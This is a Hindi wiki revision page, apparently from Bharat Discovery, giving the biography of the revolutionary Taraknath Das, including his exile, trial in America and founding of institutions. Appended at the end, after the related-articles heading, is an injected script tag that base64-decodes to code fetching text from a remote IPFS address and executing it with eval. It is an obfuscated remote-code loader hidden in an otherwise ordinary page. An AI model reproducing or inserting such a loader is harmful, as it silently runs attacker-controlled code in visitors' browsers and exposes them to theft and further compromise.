तारकनाथ दास: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
No edit summary
 
(3 intermediate revisions by 3 users not shown)
Line 9: Line 9:
|मृत्यु स्थान=[[अमेरिका]]
|मृत्यु स्थान=[[अमेरिका]]
|मृत्यु कारण=
|मृत्यु कारण=
|अविभावक=
|अभिभावक=
|पति/पत्नी=
|पति/पत्नी=
|संतान=
|संतान=
Line 33: Line 33:
|अद्यतन=
|अद्यतन=
}}
}}
'''तारकनाथ दास''' ([[अंग्रेज़ी]]: ''Taraknath Das'') [[भारत]] के प्रसिद्ध क्रान्तिकारियों में से एक गिने जाते हैं। तारकनाथ दास का जन्म [[15 जून]], [[1884]] ई. में [[बंगाल]] के 24 परगना ज़िले में हुआ था। [[अरविन्द घोष]], [[सुरेन्द्रनाथ बनर्जी]] तथा [[चितरंजन दास]] इनके घनिष्ठ मित्रों में से थे। क्रान्तिकारी गतिविधियों के कारण इन्होंने अपनी पढ़ाई बीच में ही छोड़ दी थी, लेकिन बाद में पुन: अध्ययन प्रारम्भ कर इन्होंने पी.एच. डी. की उपाधि प्राप्त की थी। तारकनाथ दास पर [[अमेरिका]] में मुकदमा चला था, जहाँ इन्हें क़ैद की सज़ा सुनाई गई थी। इस महान देश-भक्त का निधन [[22 दिसम्बर]], [[1958]] ई. को हुआ।
'''तारकनाथ दास''' ([[अंग्रेज़ी]]: ''Taraknath Das'',  जन्म: [[15 जून]], [[1884]]; मृत्यु: [[22 दिसम्बर]], [[1958]]) [[भारत]] के प्रसिद्ध क्रान्तिकारियों में से एक गिने जाते हैं। [[अरविन्द घोष]], [[सुरेन्द्रनाथ बनर्जी]] तथा [[चितरंजन दास]] इनके घनिष्ठ मित्रों में से थे। क्रान्तिकारी गतिविधियों के कारण इन्होंने अपनी पढ़ाई बीच में ही छोड़ दी थी, लेकिन बाद में पुन: अध्ययन प्रारम्भ कर इन्होंने पी.एच. डी. की उपाधि प्राप्त की थी। तारकनाथ दास पर [[अमेरिका]] में मुकदमा चला था, जहाँ इन्हें क़ैद की सज़ा सुनाई गई थी।  
==क्रान्तिकारी सिपाही==
==क्रान्तिकारी सिपाही==
तारकनाथ दास बड़े प्रतिभाशाली विद्यार्थी थे। छात्र-जीवन में ही उनका संपर्क अरविन्द घोष, सुरेन्द्रनाथ बनर्जी और [[चितरंजन दास]] जैसे नेताओं से हुआ। देशभक्ति के [[रंग]] में रंगे इन नेताओं के सम्पर्क में आकर तारकनाथ दास क्रान्तिकारी आंदोलन में सम्मिलित हो गए और देश के क्रान्तिकारी सिपाही बन गए। उन्होंने अपना अध्ययन बीच में ही छोड़ दिया और ‘अनुशीलन समिति’ तथा ‘युगांतर पार्टी’ के कार्यों में सक्रिय भाग लेने लगे, लेकिन शीघ्र ही [[अंग्रेज़]] पुलिस उनके पीछे पड़ गई।
तारकनाथ दास का जन्म [[15 जून]], [[1884]] ई. में [[बंगाल]] के 24 परगना ज़िले में हुआ था। तारकनाथ दास बड़े प्रतिभाशाली विद्यार्थी थे। छात्र-जीवन में ही उनका संपर्क अरविन्द घोष, सुरेन्द्रनाथ बनर्जी और [[चितरंजन दास]] जैसे नेताओं से हुआ। देशभक्ति के [[रंग]] में रंगे इन नेताओं के सम्पर्क में आकर तारकनाथ दास क्रान्तिकारी आंदोलन में सम्मिलित हो गए और देश के क्रान्तिकारी सिपाही बन गए। उन्होंने अपना अध्ययन बीच में ही छोड़ दिया और ‘अनुशीलन समिति’ तथा ‘युगांतर पार्टी’ के कार्यों में सक्रिय भाग लेने लगे, लेकिन शीघ्र ही [[अंग्रेज़]] पुलिस उनके पीछे पड़ गई।
====विदेश गमन====
====विदेश गमन====
पुलिस के पीछे लग जाने पर युवा तारकनाथ 1905 ई. में [[साधु]] का वेश बनाकर ‘तारक ब्रह्मचारी’ के नाम से [[जापान]] चले गए। एक वर्ष वहाँ रहकर फिर अमेरिका में 'सेन फ़्राँसिस्को' पहुँचे। यहाँ उन्होंने भारत में अंग्रेज़ों के अत्याचारों से विश्व जनमत को परिचित कराने के लिए ‘फ़्री हिन्दुस्तान’ नामक पत्र का प्रकाशन आरंभ किया। उन्होंने ‘[[ग़दर पार्टी]]’ संगठित करने में [[लाला हरदयाल]] आदि की भी सहायता की। [[पत्रकारिता]] तथा अन्य राजनीतिक गतिविधियों के साथ उन्होंने अपना छूटा हुआ अध्ययन भी आरंभ किया और 'वाशिंगटन यूनिवर्सिटी' से एम. ए. और 'जॉर्जटाउन यूनिवर्सिटी' से पी-एच. डी. की उपाधि प्राप्त की।
पुलिस के पीछे लग जाने पर युवा तारकनाथ 1905 ई. में [[साधु]] का वेश बनाकर ‘तारक ब्रह्मचारी’ के नाम से [[जापान]] चले गए। एक वर्ष वहाँ रहकर फिर अमेरिका में 'सेन फ़्राँसिस्को' पहुँचे। यहाँ उन्होंने भारत में अंग्रेज़ों के अत्याचारों से विश्व जनमत को परिचित कराने के लिए ‘फ़्री हिन्दुस्तान’ नामक पत्र का प्रकाशन आरंभ किया। उन्होंने ‘[[ग़दर पार्टी]]’ संगठित करने में [[लाला हरदयाल]] आदि की भी सहायता की। [[पत्रकारिता]] तथा अन्य राजनीतिक गतिविधियों के साथ उन्होंने अपना छूटा हुआ अध्ययन भी आरंभ किया और 'वाशिंगटन यूनिवर्सिटी' से एम. ए. और 'जॉर्जटाउन यूनिवर्सिटी' से पी-एच. डी. की उपाधि प्राप्त की।
Line 41: Line 41:
प्रथम विश्वयुद्ध आरंभ होने पर वे शोध-कार्य के बहाने [[जर्मनी]] आ गए और वहाँ से [[भारत]] में 'अनुशीलन पार्टी' के अपने साथियों के लिए हथियार भेजने का प्रयत्न किया। इसके लिए उन्होंने [[यूरोप]] और [[एशिया]] के अनेक देशों की यात्रा की। बाद में जब वे अमेरिका पहुँचे तो उनकी गतिविधियों की सूचना अमेरिका को भी हो गई। इस पर तारकनाथ दास पर अमेरिका में मुकदमा चला और उन्हें 22 महीने की क़ैद की सज़ा भोगनी पड़ी।
प्रथम विश्वयुद्ध आरंभ होने पर वे शोध-कार्य के बहाने [[जर्मनी]] आ गए और वहाँ से [[भारत]] में 'अनुशीलन पार्टी' के अपने साथियों के लिए हथियार भेजने का प्रयत्न किया। इसके लिए उन्होंने [[यूरोप]] और [[एशिया]] के अनेक देशों की यात्रा की। बाद में जब वे अमेरिका पहुँचे तो उनकी गतिविधियों की सूचना अमेरिका को भी हो गई। इस पर तारकनाथ दास पर अमेरिका में मुकदमा चला और उन्हें 22 महीने की क़ैद की सज़ा भोगनी पड़ी।
==संस्थाओं की स्थापना==
==संस्थाओं की स्थापना==
इसके बाद तारकनाथ दास ने अपना ध्यान ऐसी संस्थाएँ स्थापित करने की ओर लगाया, जो भारत से बाहर जाने वाले विद्यार्थियों की सहायता करें। ‘इंडिया इंस्टिट्यूट’ और कोलम्बिया का ‘तारकनाथ दास फ़ाउंडेशन’ दो ऐसी संस्थाएं अस्तित्व में आईं। वे कुछ समय तक कोलम्बिया यूनिवर्सिटी में राजनीति शास्त्र के प्रोफ़ेसर भी रहे। लम्बे अंतराल के बाद 1952 में वे [[भारत]] आए और [[कोलकाता]] में ‘विवेकानंद सोसाइटी’ की स्थापना की। 22 दिसंबर, 1958 को [[अमेरिका]] में उनका देहांत हो गया।
इसके बाद तारकनाथ दास ने अपना ध्यान ऐसी संस्थाएँ स्थापित करने की ओर लगाया, जो भारत से बाहर जाने वाले विद्यार्थियों की सहायता करें। ‘इंडिया इंस्टिट्यूट’ और कोलम्बिया का ‘तारकनाथ दास फ़ाउंडेशन’ दो ऐसी संस्थाएं अस्तित्व में आईं। वे कुछ समय तक कोलम्बिया यूनिवर्सिटी में राजनीति शास्त्र के प्रोफ़ेसर भी रहे। लम्बे अंतराल के बाद 1952 में वे [[भारत]] आए और [[कोलकाता]] में ‘विवेकानंद सोसाइटी’ की स्थापना की। इस महान् देश-भक्त का 22 दिसंबर, 1958 को [[अमेरिका]] में देहांत हो गया।  


{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
Line 51: Line 51:
==संबंधित लेख==
==संबंधित लेख==
{{स्वतन्त्रता सेनानी}}
{{स्वतन्त्रता सेनानी}}
[[Category:इतिहास कोश]]
[[Category:इतिहास कोश]][[Category:स्वतन्त्रता सेनानी]][[Category:जीवनी साहित्य]][[Category:अंग्रेज़ी शासन]][[Category:औपनिवेशिक काल]][[Category:चरित कोश]]
[[Category:स्वतन्त्रता सेनानी]]
[[Category:चरित कोश]]
__INDEX__
__INDEX__
__NOTOC__
__NOTOC__

Latest revision as of 05:27, 15 June 2018

तारकनाथ दास
पूरा नाम तारकनाथ दास
जन्म 15 जून, 1884
जन्म भूमि बंगाल
मृत्यु 22 दिसम्बर, 1958
मृत्यु स्थान अमेरिका
नागरिकता भारतीय
विद्यालय जॉर्जटाउन यूनिवर्सिटी
शिक्षा पी.एच. डी.
विशेष योगदान कोलकाता में ‘विवेकानंद सोसाइटी’ की स्थापना की।
अन्य जानकारी अरविन्द घोष, सुरेन्द्रनाथ बनर्जी तथा चितरंजन दास इनके घनिष्ठ मित्रों में से थे।

तारकनाथ दास (अंग्रेज़ी: Taraknath Das, जन्म: 15 जून, 1884; मृत्यु: 22 दिसम्बर, 1958) भारत के प्रसिद्ध क्रान्तिकारियों में से एक गिने जाते हैं। अरविन्द घोष, सुरेन्द्रनाथ बनर्जी तथा चितरंजन दास इनके घनिष्ठ मित्रों में से थे। क्रान्तिकारी गतिविधियों के कारण इन्होंने अपनी पढ़ाई बीच में ही छोड़ दी थी, लेकिन बाद में पुन: अध्ययन प्रारम्भ कर इन्होंने पी.एच. डी. की उपाधि प्राप्त की थी। तारकनाथ दास पर अमेरिका में मुकदमा चला था, जहाँ इन्हें क़ैद की सज़ा सुनाई गई थी।

क्रान्तिकारी सिपाही

तारकनाथ दास का जन्म 15 जून, 1884 ई. में बंगाल के 24 परगना ज़िले में हुआ था। तारकनाथ दास बड़े प्रतिभाशाली विद्यार्थी थे। छात्र-जीवन में ही उनका संपर्क अरविन्द घोष, सुरेन्द्रनाथ बनर्जी और चितरंजन दास जैसे नेताओं से हुआ। देशभक्ति के रंग में रंगे इन नेताओं के सम्पर्क में आकर तारकनाथ दास क्रान्तिकारी आंदोलन में सम्मिलित हो गए और देश के क्रान्तिकारी सिपाही बन गए। उन्होंने अपना अध्ययन बीच में ही छोड़ दिया और ‘अनुशीलन समिति’ तथा ‘युगांतर पार्टी’ के कार्यों में सक्रिय भाग लेने लगे, लेकिन शीघ्र ही अंग्रेज़ पुलिस उनके पीछे पड़ गई।

विदेश गमन

पुलिस के पीछे लग जाने पर युवा तारकनाथ 1905 ई. में साधु का वेश बनाकर ‘तारक ब्रह्मचारी’ के नाम से जापान चले गए। एक वर्ष वहाँ रहकर फिर अमेरिका में 'सेन फ़्राँसिस्को' पहुँचे। यहाँ उन्होंने भारत में अंग्रेज़ों के अत्याचारों से विश्व जनमत को परिचित कराने के लिए ‘फ़्री हिन्दुस्तान’ नामक पत्र का प्रकाशन आरंभ किया। उन्होंने ‘ग़दर पार्टी’ संगठित करने में लाला हरदयाल आदि की भी सहायता की। पत्रकारिता तथा अन्य राजनीतिक गतिविधियों के साथ उन्होंने अपना छूटा हुआ अध्ययन भी आरंभ किया और 'वाशिंगटन यूनिवर्सिटी' से एम. ए. और 'जॉर्जटाउन यूनिवर्सिटी' से पी-एच. डी. की उपाधि प्राप्त की।

सज़ा

प्रथम विश्वयुद्ध आरंभ होने पर वे शोध-कार्य के बहाने जर्मनी आ गए और वहाँ से भारत में 'अनुशीलन पार्टी' के अपने साथियों के लिए हथियार भेजने का प्रयत्न किया। इसके लिए उन्होंने यूरोप और एशिया के अनेक देशों की यात्रा की। बाद में जब वे अमेरिका पहुँचे तो उनकी गतिविधियों की सूचना अमेरिका को भी हो गई। इस पर तारकनाथ दास पर अमेरिका में मुकदमा चला और उन्हें 22 महीने की क़ैद की सज़ा भोगनी पड़ी।

संस्थाओं की स्थापना

इसके बाद तारकनाथ दास ने अपना ध्यान ऐसी संस्थाएँ स्थापित करने की ओर लगाया, जो भारत से बाहर जाने वाले विद्यार्थियों की सहायता करें। ‘इंडिया इंस्टिट्यूट’ और कोलम्बिया का ‘तारकनाथ दास फ़ाउंडेशन’ दो ऐसी संस्थाएं अस्तित्व में आईं। वे कुछ समय तक कोलम्बिया यूनिवर्सिटी में राजनीति शास्त्र के प्रोफ़ेसर भी रहे। लम्बे अंतराल के बाद 1952 में वे भारत आए और कोलकाता में ‘विवेकानंद सोसाइटी’ की स्थापना की। इस महान् देश-भक्त का 22 दिसंबर, 1958 को अमेरिका में देहांत हो गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 355 |


बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>